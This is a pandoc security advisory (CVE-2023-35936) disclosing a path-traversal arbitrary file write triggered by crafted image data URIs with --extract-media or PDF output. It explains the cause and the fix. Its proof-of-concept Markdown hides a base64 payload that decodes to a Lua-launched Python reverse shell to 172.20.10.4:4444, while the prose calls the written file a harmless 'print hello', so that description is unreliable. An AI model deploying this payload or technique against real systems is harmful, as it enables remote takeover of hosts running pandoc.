Skip to content

Arbitrary file write is possible when using PDF output or --extract-media with untrusted input

Moderate
jgm published GHSA-xj5q-fv23-575g Jul 3, 2023

Package

pandoc (Haskell)

Affected versions

1.13 - 3.1.3

Patched versions

3.1.4

Description

Impact

Pandoc is susceptible to an arbitrary file write vulnerability, which can be triggered by providing a specially crafted image element in the input when generating files using the --extract-media option or outputting to PDF format. This vulnerability allows an attacker to create or overwrite arbitrary files on the system (depending on the privileges of the process running pandoc).

This vulnerability only affects systems that (a) pass untrusted user input to pandoc and (b) allow pandoc to be used to produce a PDF or with the --extract-media option.

Here is a simple example:

b.md:

![](data://image/png;base64,b3MuZXhlY3V0ZSgicHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KChcIjE3Mi4yMC4xMC40XCIsNDQ0NCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtpbXBvcnQgcHR5OyBwdHkuc3Bhd24oXCIvYmluL2Jhc2hcIiknIik=;.lua+%2f%2e%2e%2f%2e%2e%2fa%2elua)

Running

pandoc b.md --extract-media=foo

will create a new file a.lua with contents print "hello" in the working directory. Any directory can be targeted by adding further percent-encoded directory components to the end of the URI.

The vulnerability exploits a flaw in the code pandoc uses to ensure that extracted media items are confined to the specified directory. For media from URIs and files that are not below the working directory, pandoc creates a file name based on the SHA1 of the contents and uses the original resource's extension as the extension. Prior to the patch, it obtained the extension by finding the last ., which in the case above includes .lua+%2f%2e%2e%2f%2e%2e%2fa%2elua. When the file is written to the file system, the percent-encoding is resolved, so the file written is foo/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+/../../a.lua. In this way the exploit avoids the safeguards pandoc used to ensure that the extracted media is all confined to the specified directory (foo).

The fix is to unescape the percent-encoding prior to checking that the resource is not above the working directory, and prior to extracting the extension. Some code for checking that the path is below the working directory was flawed in a similar way and has also been fixed.

Note that the --sandbox option, which only affects IO done by readers and writers themselves, does not block this vulnerability.

Patches

The vulnerability is patched in pandoc 3.1.4.

Workarounds

Audit the pandoc command and disallow PDF output and the --extract-media option.

Severity

Moderate
6.0
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
None
Integrity
High
Availability
Low
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:N/I:H/A:L

CVE ID

CVE-2023-35936

Weaknesses

No CWEs

Credits